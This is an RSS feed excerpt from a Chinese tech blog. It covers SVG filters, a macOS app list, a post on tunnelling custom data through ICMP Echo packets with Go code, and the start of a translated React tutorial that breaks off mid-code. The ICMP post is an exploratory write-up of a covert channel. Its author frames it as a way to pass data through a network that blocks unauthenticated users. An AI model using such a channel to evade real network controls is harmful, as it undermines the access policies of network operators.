 18*A-7 \\
 1 
\end{bmatrix}
$$
</div>


<p>这里有一个简单的示例程序，你可以拖动顶部的拖动条来控制 <code>Alpha to Alpha</code>（即 <code>feColorMatrix</code> 的第 4 行第 4 列，默认为 18）和 <code>Alpha Offset</code>（即 <code>feColorMatrix</code> 的第 4 行第 5 列，默认为 -7）的值：</p>


<p class="codepen" data-height="395.23046875" data-default-tab="result" data-slug-hash="poQXYyN" data-editable="true" data-user="lgiki-the-bold" style="height: 395.23046875px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
  <span>See the Pen <a href="https://codepen.io/lgiki-the-bold/pen/poQXYyN">
  Gooey Effect with Controller</a> by LGiki (<a href="https://codepen.io/lgiki-the-bold">@lgiki-the-bold</a>)
  on <a href="https://codepen.io">CodePen</a>.</span>
</p>
<script async src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>


<p>你可以试着先将 <code>Alpha Offset</code> 的值调整为 0，然后拖动 <code>Alpha to Alpha</code> 看看随着 Alpha 通道的系数变大或变小，图像会出现什么样的变化，等固定在某个值之后，再试着拖动 <code>Alpha Offset</code> 看看图像又会出现什么变化，就能理解这个过程了。</p>
<h2 id="feblend-滤镜"><code>&lt;feBlend&gt;</code> 滤镜</h2>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feBlend"><code>&lt;feBlend&gt;</code> 滤镜</a>顾名思义就是将两个元素按照特定的混合模式混合，支持三个参数：<code>in</code>、<code>in2</code> 和 <code>mode</code>，其中，<code>in</code> 和 <code>in2</code> 就是输入的两个图形，<code>mode</code> 即对这两个图形的混合模式，<code>mode</code> 的默认值是 <code>normal</code>，即这两张图正常叠加，<code>in</code> 显示在 <code>in2</code> 的顶层。</p>
<h1 id="references">References</h1>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/filter">https://developer.mozilla.org/en-US/docs/Web/SVG/Element/filter</a></li>
<li><a href="https://caniuse.com/svg-filters">https://caniuse.com/svg-filters</a></li>
<li><a href="https://caniuse.com/css-filters">https://caniuse.com/css-filters</a></li>
<li><a href="https://css-tricks.com/gooey-effect/">https://css-tricks.com/gooey-effect/</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feColorMatrix">https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feColorMatrix</a></li>
<li><a href="https://en.wikipedia.org/wiki/Matrix_multiplication">https://en.wikipedia.org/wiki/Matrix_multiplication</a></li>
<li><a href="">https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feGaussianBlur</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feBlend">https://developer.mozilla.org/en-US/docs/Web/SVG/Element/feBlend</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>我使用的 macOS apps</title>
      <link>https://lgiki.net/post/awesome-macos-apps/</link>
      <pubDate>Fri, 04 Aug 2023 22:44:39 +0800</pubDate>
      <guid>https://lgiki.net/post/awesome-macos-apps/</guid>
      <description>Awesome macOS apps</description>
      <content:encoded><![CDATA[<h1 id="intro">Intro</h1>
<p>毕业了，趁着教育邮箱还没有被学校回收，也趁着返校优惠，入手了一台 M2 芯片的 MacBook Air，附赠了一个 AirPods 3 的耳机，使用体验还不错。</p>
<p>写一篇博客来记录一下自己 macOS 上安装的那些好用的 apps。</p>
<p><strong>这篇文章可能会随着我的使用情况，不断更新。</strong></p>
<p><strong>最后更新日期：<!-- raw HTML omitted -->2023 年 8 月 6 日<!-- raw HTML omitted -->。</strong></p>
<h1 id="apps">Apps</h1>
<h2 id="系统增强">系统增强</h2>
<ul>
<li><del><a href="https://github.com/Caldis/Mos">Mos</a>：优化 macOS 上鼠标体验的软件，可以平滑滚动鼠标，让鼠标的滚轮实现类似于手机屏幕的滚屏效果，在快速滚动之后会缓慢停止。另外这个软件还可以将触摸板和鼠标的滚动方向分开设置，macOS 系统设置里的滚动方向设置会同时设定鼠标和触摸板的滚动方向，很讨厌。</del></li>
<li><a href="https://mousefix.org/">Mac Mouse Fix</a>：上面 Mos 有的功能这个软件全都有，并且还可以设定鼠标自定义按键的功能，不想装 Logitech 大笨蛋鼠标驱动可以用这个来设定鼠标的自定义按键功能。目前已经卸载了 Mos，改用这款软件。</li>
<li><a href="https://magnet.crowdcafe.com/">Magnet</a>：macOS 的窗口管理增强工具，将窗口拖动到屏幕边缘，窗口可以自动调整为半屏、1/4 屏，和 Windows、Gnome 上将窗口移动到屏幕边缘的效果一样。</li>
<li><a href="https://bjango.com/mac/istatmenus/">iStat Menu</a>：在 macOS 的菜单栏中显示 CPU 使用率、内存使用率、上传下载速度等系统状态信息。</li>
<li><a href="https://www.macbartender.com/">Bartender 4</a>：隐藏 macOS 菜单栏上过多的图标，本来 macOS 菜单栏的空间就很紧张，在 MacBook <del>升级</del>为刘海屏之后，原本就不太充裕的菜单栏空间就显得更加局促了，Bartender 可以隐藏菜单栏中不需要的图标。</li>
<li><a href="https://nssurge.com/">Surge</a>：除了贵之外，没有其他毛病，真的是超好用的 macOS 网络工具，如果 iOS 端也使用 Surge，则配置文件可以通过 iCloud 在 iOS 端和 macOS 端同步，非常省心。</li>
<li><a href="https://www.raycast.com/">Raycast</a>：可以替代 macOS 自带 Spotlight 的软件，还在摸索当中。</li>
<li><a href="https://www.keka.io/">Keka</a>：macOS 上很好用的解压软件，<a href="https://www.quora.com/What-depicts-a-Keka-archiver-icon">早期版本的 icon</a> 十分惊悚（不是</li>
<li><a href="https://brew.sh/">Homebrew</a>：macOS 的包管理工具。</li>
<li><a href="https://iterm2.com/">iTerm 2</a>：比自带终端模拟器好用。</li>
<li><a href="https://freemacsoft.net/appcleaner/">AppCleaner</a>：用于删除 <code>/Applications</code> 下的 App 时清理残留的文件。</li>
</ul>
<h2 id="开发">开发</h2>
<ul>
<li><a href="https://developer.apple.com/xcode/">Xcode</a>：用来开发 iOS、macOS 上的 app，正在看 <a href="https://cs193p.sites.stanford.edu/">CS193p</a> 学习 Swift。</li>
<li><a href="https://code.visualstudio.com/">Visual Studio Code</a>：简单好用的代码编辑器，登陆账号之后可以在多端同步主题、扩展和设置，超棒！</li>
<li><a href="https://www.jetbrains.com/">JetBrains</a> 全家桶：~~喷射大脑🧠~~家的 IDE 就不需要介绍啦！
<ul>
<li><a href="https://www.jetbrains.com/idea/">IntelliJ IDEA</a></li>
<li><a href="https://www.jetbrains.com/go/">Goland</a></li>
<li><a href="https://www.jetbrains.com/pycharm/">PyCharm</a></li>
<li><a href="https://www.jetbrains.com/webstorm/">WebStorm</a></li>
<li><a href="https://www.jetbrains.com/clion/">CLion</a></li>
</ul>
</li>
<li><a href="https://studio3t.com/">Studio 3T</a>：MongoDB 管理软件，免费版的功能完全足够日常开发使用。</li>
<li><a href="https://dbeaver.io/">DBeaver</a>：MySQL、PostgreSQL 管理软件，社区版的功能完全足够日常开发使用。</li>
<li><a href="https://www.docker.com/">Docker</a>：用来快速搭建一些测试环境很方便。</li>
<li><a href="https://orbstack.dev/">Orbstack</a>：CPU 和内存占用都比 Docker 低的 Docker 替代品，并且还能快速启动一个 Linux 环境用于测试，目前处于测试阶段，免费试用，未来可能会收费。</li>
<li><a href="https://www.postman.com/">Postman</a>：用来调试 API 接口。</li>
<li><a href="https://godotengine.org/">Godot</a>：一款开源的游戏引擎，能做 2D 和 3D 游戏，支持多种不同平台，从 macOS、Linux、Windows 到 Android、Web 都支持。</li>
<li><a href="https://www.lexaloffle.com/pico-8.php">Pico-8</a>：一个 8-bit 的虚拟游戏主机，自带SPRITE 编辑器、地图编辑器、音效编辑器等制作游戏可能用到的工具，可以开发一些 8-bit 风格的像素游戏。著名游戏<a href="https://en.wikipedia.org/wiki/Celeste_(video_game)">「蔚蓝」（Celeste）</a>最早就是在一场 Game Jam 活动中使用 Pico-8 开发的。</li>
</ul>
<h2 id="下载">下载</h2>
<ul>
<li><a href="https://motrix.app/">Motrix</a>：基于 Aria2c 的下载管理工具，支持多线程下载。</li>
<li><a href="https://transmissionbt.com/">Transmission</a>：BT 下载软件，用来挂 PT。</li>
<li><a href="https://localsend.org/#/">LocalSend</a>：Flutter 写的跨平台局域网文件传输软件，方便 macOS 与 Windows、macOS 与 Android 之间互传文件，不过似乎还有一些奇怪的问题，并且存在一些性能问题，无法跑满局域网带宽。</li>
</ul>
<h2 id="多媒体">多媒体</h2>
<ul>
<li><a href="https://iina.io/">IINA</a>：macOS 上全能的音频播放器。</li>
<li><a href="https://obsproject.com/">OBS Studio</a>：录屏、直播，超好用。</li>
<li><a href="https://calibre-ebook.com/">Calibre</a>：电子书管理软件，同时支持对电子书进行一些简单的编辑、修改电子书的元数据等。</li>
<li><a href="https://skim-app.sourceforge.io/">Skim</a>：一款开源的 PDF 阅读器，十分简洁。</li>
<li><a href="https://affinity.serif.com/zh-cn/photo/">Affinity Photo 2</a>：Adobe Photoshop 的替代品，买断制很省心，简单修修图够用了。</li>
<li><a href="https://affinity.serif.com/zh-cn/designer/">Affinity Design 2</a>：Adobe Illustration 的替代品，同上，买断制。</li>
<li><a href="https://www.apple.com.cn/logic-pro/">Logic Pro</a>：Apple 出品的音频编辑工具，功能看起来很强大，但我还没学会怎么用。Apple 对学生有一个 <a href="https://www.apple.com.cn/cn-edu/shop/product/BMGE2CH/A">Pro App 的教育优惠</a>，可以以 1298 RMB 的价格买断 Final Cut Pro、Logic Pro、Motion、Compressor 和 MainStage 这五款 Apple 自家的专业软件，比隔壁 Adobe 家一年一付订阅制的软件便宜多了，如果未来有制作音视频需求的话，强烈推荐在毕业之前购入这些软件，绝对不亏。</li>
<li><a href="https://www.apple.com.cn/final-cut-pro/">Final Cut Pro</a>：Apple 出品的视频编辑工具，功能看起来很强大，但我还没学会怎么用。</li>
<li><a href="https://www.izotope.com/en/products/rx.html">iZotope RX8 Audio Editor</a>：之前在 Windows 上一直在使用的音频编辑工具，自带去呼吸声、去口水声、去爆破音等多个黑科技。</li>
<li><a href="https://www.reaper.fm/">Reaper</a>：很良心的 DAW (Digital Audio Workstation)，便宜好用。</li>
<li><a href="https://www.blender.org/">Blender</a>：开源的 3D 建模与渲染软件，简单易上手，自己捏一些简单的 3D 模型、渲染为图片或视频超级方便，很值得学习的一款软件。</li>
<li><a href="https://moon.fm/">Moon FM</a>：独立开发者开发的一款泛用型播客软件，采用 React Native 开发，支持多平台。</li>
<li><a href="https://apps.apple.com/us/app/aptv/id1630403500">APTV</a>：直播源播放软件，GitHub 上找个直播源，导入到 app 内就可以快乐看直播咯，甚至还支持 Apple Watch（</li>
<li><a href="https://www.ffmpeg.org/">ffmpeg</a>：这个应该不需要介绍，配合 GPT 大大降低了使用难度，想要实现什么功能直接问问 GPT 命令行应该怎么写就行。</li>
</ul>
<h2 id="笔记">笔记</h2>
<ul>
<li><a href="https://obsidian.md/">Obsidian</a>：一款优秀的 Markdown 笔记软件，有丰富的插件和主题，配合 iCloud 同步 + Github 备份很好用。</li>
<li><a href="https://typora.io/">Typora</a>：从 Beta 版本开始就一直在使用的 Markdown 编辑器，期间尝试过其他软件，还是觉得这一个最好用。</li>
<li><a href="https://www.notion.so/">Notion</a>：很好用的笔记软件，基于 Block 的思想，将笔记中的每一部分内容都抽象为一个 Block，编辑起来很有意思，但还没完全学会怎么用。</li>
</ul>
<h2 id="资讯">资讯</h2>
<ul>
<li><a href="https://netnewswire.com/">NetNewsWire</a>：开源的 RSS 阅读器，UI很简洁，该有的功能都有，同时支持 iOS 和 macOS 端，订阅的 RSS 可通过 iCloud 同步。</li>
</ul>
<h2 id="密码管理">密码管理</h2>
<ul>
<li><a href="https://bitwarden.com/">Bitwarden</a>：开源的密码管理工具，可以自建服务器。</li>
</ul>
<h2 id="游戏">游戏</h2>
<ul>
<li><a href="https://store.steampowered.com/">Steam</a>：<del>G胖还我血汗钱💵！</del></li>
<li><a href="https://openemu.org/">OpenEmu</a>：各种模拟器的集合，很方便。</li>
</ul>
<h2 id="浏览器">浏览器</h2>
<ul>
<li><a href="https://www.google.com/chrome/">Chrome</a>：Google 家的浏览器。</li>
<li><a href="https://www.mozilla.org/en-US/firefox/new/">Firefox</a>：Mozilla 家的浏览器。</li>
<li><a href="https://arc.net/">Arc</a>：最近挺火的浏览器，但还没有开始详细体验。</li>
</ul>
<h2 id="ios-apps-running-on-macos">iOS apps running on macOS</h2>
<ul>
<li><a href="https://apps.apple.com/us/app/%E5%BD%A9%E4%BA%91%E5%A4%A9%E6%B0%94pro/id1067198688?l=zh-Hans-CN">彩云天气 Pro</a>：很早之前购买的天气 app相对 Apple 自带的天气 App 更加精准。</li>
<li><a href="https://apps.apple.com/us/app/%E5%A4%9A%E9%82%BB%E5%9B%BDduolingo%E8%8B%B1%E8%AF%AD%E6%97%A5%E8%AF%AD%E6%B3%95%E8%AF%AD/id570060128?l=zh-Hans-CN">多邻国</a>：可以以 iPad 的分辨率运行，使用体验很棒，希望能把日语学会。</li>
<li><a href="https://apps.apple.com/us/app/%E4%B8%8D%E8%83%8C%E5%8D%95%E8%AF%8D-%E5%9B%9B%E5%85%AD%E7%BA%A7%E8%80%83%E7%A0%94%E7%AD%89%E8%8B%B1%E8%AF%AD%E5%8D%95%E8%AF%8D%E5%AD%A6%E4%B9%A0/id698570469?l=zh-Hans-CN">不背单词</a>：同样以 iPad 的分辨率运行，自己使用下来觉得很适合我的背单词 app。</li>
<li><a href="https://apps.apple.com/us/app/%E5%B0%8F%E5%AE%87%E5%AE%99-%E4%B8%80%E8%B5%B7%E5%90%AC%E6%92%AD%E5%AE%A2/id1488894313?l=zh-Hans-CN">小宇宙</a>：官方一直没有网页版，幸好 Apple 的 ARM 芯片可以直接运行，设计的审美很在线，不过更推荐使用其他泛用型播客 app 收听播客。</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>使用 ICMP 协议传输数据</title>
      <link>https://lgiki.net/post/icmp_message/</link>
      <pubDate>Sun, 02 Jul 2023 21:32:46 +0800</pubDate>
      <guid>https://lgiki.net/post/icmp_message/</guid>
      <description>Transmitting data using the ICMP protocol</description>
      <content:encoded><![CDATA[<h1 id="intro">Intro</h1>
<p>毕业回家的前一天，把手机卡和宽带一并注销了，晚上收拾好行李之后，面对着没法上网的电脑开始发呆。什么事情都干不了，那就打开 Wireshark 抓包玩玩吧，看看在未进行上网认证的情况下还有哪些请求能够被正常送出。</p>
<p>发现，即使在未进行上网认证的状态下，依旧可以 Ping 得通内网实验室的服务器，但是 Ping 不通外网的服务器。说明在用户未进行上网认证的情况下，学校并没有禁止内网的 ICMP 协议通信。</p>
<p>那么，能否通过 ICMP 协议来传输数据呢？</p>
<h1 id="抓包看看">抓包看看</h1>
<p>不知道你是否曾抓过 Ping 命令的包，Ping 命令依赖于 ICMP协议，在执行 Ping 命令的时候，计算机会向对方发送一个 ICMP 的请求，类型为 <code>Echo Request</code>，对方收到这个 ICMP 请求之后，同样会返回一个 ICMP 请求，类型为 <code>Echo Reply</code>。通过这一来一回两个请求就可以测定两台计算机之间网络的延迟。</p>
<p>而 Echo 类型的 ICMP 请求中有一个叫 <code>Data</code> 的字段，并且 Windows 和 Linux 的 Ping 命令发出的 ICMP 请求的 <code>Data</code> 字段是不同的：</p>
<table>
  <thead>
      <tr>
          <th>Linux</th>
          <th>Windows</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img loading="lazy" src="/icmp_message/icmp_request_linux.png"></td>
          <td><img loading="lazy" src="/icmp_message/icmp_request_windows.png"></td>
      </tr>
  </tbody>
</table>
<p>可以看到 Windows 上 Ping 命令所发出的 ICMP 请求，<code>Data</code> 字段是<code>abcdefghijklmnopqrstuvwabcdefghi</code>，而 Linux 则是以 <code>!&quot;#$%&amp;'()*+,-./01234567</code> 结尾的字符串，并且对方返回的 <code>Echo Reply</code> 包中的 <code>Data</code> 字段和发送的 <code>Data</code> 是完全一致的，你发送什么给我，我就返回什么给你。</p>
<p>那么，假设我们自己构建一个 ICMP 请求，并且将其中的 <code>Data</code> 字段替换为想要传输的数据，并发送出去，那不就可以利用 ICMP 来传输数据了嘛！</p>
<h1 id="先来读读-icmp-协议的-rfc-吧">先来读读 ICMP 协议的 RFC 吧</h1>
<p><a href="https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol">ICMP 协议</a>全称&quot;<strong>I</strong>nternet <strong>C</strong>ontrol <strong>M</strong>essage <strong>P</strong>rotocol&quot;，即&quot;互联网控制消息协议&quot;，通常用于返回的错误信息或是分析路由。ICMP 和 UDP 一样，是<strong>不可靠</strong>的传输协议。</p>
<p>ICMP 是在 <a href="https://datatracker.ietf.org/doc/html/rfc792">RFC 792</a> 中定义的，日常使用的 Ping 命令是通过 ICMP 协议中定义的 <code>Echo</code> 和 <code>Echo Reply</code> 这两种消息类型来实现的，在 RFC 的第 14~15 页规定了这两种消息类型的格式：</p>
<pre tabindex="0"><code>Echo or Echo Reply Message  
    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |     Type      |     Code      |          Checksum             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |           Identifier          |        Sequence Number        |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |     Data ...
   +-+-+-+-+-  
   IP Fields:  
   Addresses  
      The address of the source in an echo message will be the
      destination of the echo reply message.  To form an echo reply
      message, the source and destination addresses are simply reversed,
      the type code changed to 0, and the checksum recomputed.  
   IP Fields:  
   Type  
      8 for echo message;  
      0 for echo reply message.  
   Code  
      0  
   Checksum  
      The checksum is the 16-bit ones&#39;s complement of the one&#39;s
      complement sum of the ICMP message starting with the ICMP Type.
      For computing the checksum , the checksum field should be zero.
      If the total length is odd, the received data is padded with one
      octet of zeros for computing the checksum.  This checksum may be
      replaced in the future.  
   Identifier  
      If code = 0, an identifier to aid in matching echos and replies,
      may be zero.  
   Sequence Number
      If code = 0, a sequence number to aid in matching echos and
      replies, may be zero.  
   Description  
      The data received in the echo message must be returned in the echo
      reply message.  
      The identifier and sequence number may be used by the echo sender
      to aid in matching the replies with the echo requests.  For
      example, the identifier might be used like a port in TCP or UDP to
      identify a session, and the sequence number might be incremented
      on each echo request sent.  The echoer returns these same values
      in the echo reply.  
      Code 0 may be received from a gateway or a host.
</code></pre><p>可以看到其中有一个 <code>data</code> 字段，并且 RFC 中有提到：</p>
<blockquote>
<p>The data received in the echo message must be returned in the echo reply message.</p></blockquote>
<p>收到的 Echo 消息的 <code>data</code> 必须在 Echo Reply 消息中返回，这跟我们抓包观察到的现象一致。</p>
<p>那么，通过代码构建一个 ICMP 请求，并将其中的 Data 字段填充为自定义数据，不就可以通过 ICMP 协议来传输数据了🤔。</p>
<h1 id="通过-icmp-传输数据">通过 ICMP 传输数据</h1>
<h2 id="使用-golang-构建并发送-icmp-请求">使用 Golang 构建并发送 ICMP 请求</h2>
<p>Golang 官方提供了一个 <a href="https://pkg.go.dev/golang.org/x/net/icmp">ICMP</a> 包，可以构建并发送 ICMP 请求，只需要几行代码就能实现发送自定义的 data：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kd">func</span> <span class="nf">Send</span><span class="p">(</span><span class="nx">packetConn</span> <span class="o">*</span><span class="nx">icmp</span><span class="p">.</span><span class="nx">PacketConn</span><span class="p">,</span> <span class="nx">destAddress</span> <span class="kt">string</span><span class="p">,</span> <span class="nx">seq</span> <span class="kt">int</span><span class="p">,</span> <span class="nx">data</span> <span class="p">[]</span><span class="kt">byte</span><span class="p">)</span> <span class="kt">error</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nx">dest</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">net</span><span class="p">.</span><span class="nf">ResolveIPAddr</span><span class="p">(</span><span class="s">&#34;ip4&#34;</span><span class="p">,</span> <span class="nx">destAddress</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="nx">err</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="nx">err</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="nx">icmpMessage</span> <span class="o">:=</span> <span class="nx">icmp</span><span class="p">.</span><span class="nx">Message</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nx">Type</span><span class="p">:</span> <span class="nx">ipv4</span><span class="p">.</span><span class="nx">ICMPTypeEcho</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nx">Code</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="nx">Body</span><span class="p">:</span> <span class="o">&amp;</span><span class="nx">icmp</span><span class="p">.</span><span class="nx">Echo</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">			<span class="nx">ID</span><span class="p">:</span>   <span class="nx">os</span><span class="p">.</span><span class="nf">Getpid</span><span class="p">()</span> <span class="o">&amp;</span> <span class="mh">0xffff</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			<span class="nx">Seq</span><span class="p">:</span>  <span class="nx">seq</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">			<span class="nx">Data</span><span class="p">:</span> <span class="nx">data</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">		<span class="p">},</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="nx">icmpMessageBytes</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">icmpMessage</span><span class="p">.</span><span class="nf">Marshal</span><span class="p">(</span><span class="kc">nil</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="nx">err</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="nx">err</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="nx">succeedBytesCount</span><span class="p">,</span> <span class="nx">err</span> <span class="o">:=</span> <span class="nx">packetConn</span><span class="p">.</span><span class="nf">WriteTo</span><span class="p">(</span><span class="nx">icmpMessageBytes</span><span class="p">,</span> <span class="nx">dest</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="nx">err</span> <span class="o">!=</span> <span class="kc">nil</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="nx">err</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="nx">succeedBytesCount</span> <span class="o">!=</span> <span class="nb">len</span><span class="p">(</span><span class="nx">icmpMessageBytes</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="nx">FailedToSendICMPMessage</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="kc">nil</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>其中，我们可以将想要发送的数据放到 <code>icmp.Echo</code> 结构体中的 <code>Data</code> 字段中，这样就构建了一个带有自定义数据的 ICMP 消息，然后使用 <code>icmp.PacketConn.WriteTo</code> 方法，发出 ICMP 请求。</p>
<p>然后再糊一些接收 ICMP 请求的代码就大功告成啦，完整的代码在这里：<a href="https://github.com/LGiki/icmp_message">https://github.com/LGiki/icmp_message</a></p>
<h2 id="禁止-icmp-自动回复">禁止 ICMP 自动回复</h2>
<p>因为 Linux 内核会自动回应 ICMP Echo 请求，所以在发送自定义 ICMP 消息之前，需要关闭这个功能，关闭的方法很简单：</p>
<pre tabindex="0"><code># echo &#34;1&#34; &gt; /proc/sys/net/ipv4/icmp_echo_ignore_all
</code></pre><p>以上关闭 ICMP 自动回复为临时关闭，下次重启就会恢复，如果想手动开启 ICMP 自动回复则可以执行以下命令：</p>
<pre tabindex="0"><code> # echo &#34;0&#34; &gt; /proc/sys/net/ipv4/icmp_echo_ignore_all
</code></pre><h2 id="验证">验证</h2>
<p><img loading="lazy" src="/icmp_message/icmp_message.png"></p>
<p>可以看到成功让两台计算机使用 ICMP 协议进行通讯，双方都可以发送并接收到对方的消息，Wireshark 抓包结果中的 <code>Data</code> 字段也被替换为了自定义的数据。</p>
<h1 id="后记">后记</h1>
<p>之前一致想验证一下能否通过 ICMP 协议来传输数据，这次总算是验证了该方案的可行性，这在一些受限的网络环境中可能非常有用。</p>
<p>当然，通过 ICMP 来传输数据也存在着一些问题：</p>
<ul>
<li>ICMP 协议是<strong>明文传输</strong>数据，在网络中的任意一层都可以很轻松抓到 ICMP 的明文请求，如果想要传输一些敏感数据则可能还需要往上叠一层 TLS 层。</li>
<li>ICMP 是<strong>不可靠</strong>的传输协议，如果在连接不稳定的网络环境中使用 ICMP 来传输数据，还需要自行实现 ACK、重传等机制来确保稳定传输数据。</li>
</ul>
<h1 id="references">References</h1>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol">https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol</a></li>
<li><a href="https://datatracker.ietf.org/doc/html/rfc792">https://datatracker.ietf.org/doc/html/rfc792</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>翻译：Common Beginner Mistakes with React</title>
      <link>https://lgiki.net/post/common-beginner-mistakes-with-react/</link>
      <pubDate>Wed, 15 Mar 2023 00:00:00 +0800</pubDate>
      <guid>https://lgiki.net/post/common-beginner-mistakes-with-react/</guid>
      <description>翻译：Common Beginner Mistakes with React</description>
      <content:encoded><![CDATA[<h1 id="intro">Intro</h1>
<p>最近看了一篇文章：<a href="https://www.joshwcomeau.com/react/common-beginner-mistakes/">Common Beginner Mistakes with React</a>，讲的是 React 新手可能会犯的错误，文章写得很好，确实有很多我学习 React 初期犯过的错误，并且文中给了非常详细的代码和样例，因此将其翻译为中文，也作为自己的笔记。推荐看得懂英文的直接查看原文。</p>
<p>本文是对原文的翻译，稍微简略了原文中的一些描述，对于部分内容添加了补充信息，版权归原作者 <a href="https://twitter.com/JoshWComeau">Josh W Comeau</a> 所有。</p>
<h1 id="evaluating-with-zero">Evaluating with zero</h1>
<p>首先看看下面这段代码，你觉得页面上会显示什么呢？</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">React</span> <span class="nx">from</span> <span class="s1">&#39;react&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">ShoppingList</span> <span class="nx">from</span> <span class="s1">&#39;./ShoppingList&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">App</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">items</span><span class="p">,</span> <span class="nx">setItems</span><span class="p">]</span> <span class="o">=</span> <span class="nx">React</span><span class="p">.</span><span class="nx">useState</span><span class="p">([]);</span>
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">{</span><span class="nx">items</span><span class="p">.</span><span class="nx">length</span> <span class="o">&amp;&amp;</span> <span class="p">&lt;</span><span class="nt">ShoppingList</span> <span class="na">items</span><span class="o">=</span><span class="p">{</span><span class="nx">items</span><span class="p">}</span> <span class="p">/&gt;}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">export</span> <span class="k">default</span> <span class="nx">App</span><span class="p">;</span>
</span></span></code></pre></div><p>答案是：会显示一个 <code>0</code>。</p>
<p>原因是 <code>items.length</code> 的计算结果为 0，而 0 是一个 False 的值，<code>&amp;&amp;</code> 的运算被短路，因此整个表达式就会解析为 0，因此上面那段代码本质上就等于：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">App</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">{</span><span class="mi">0</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>因此，在表达式里面应该使用纯正的布尔值：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">App</span><span class="p">()</span> <span class="p">{</span>
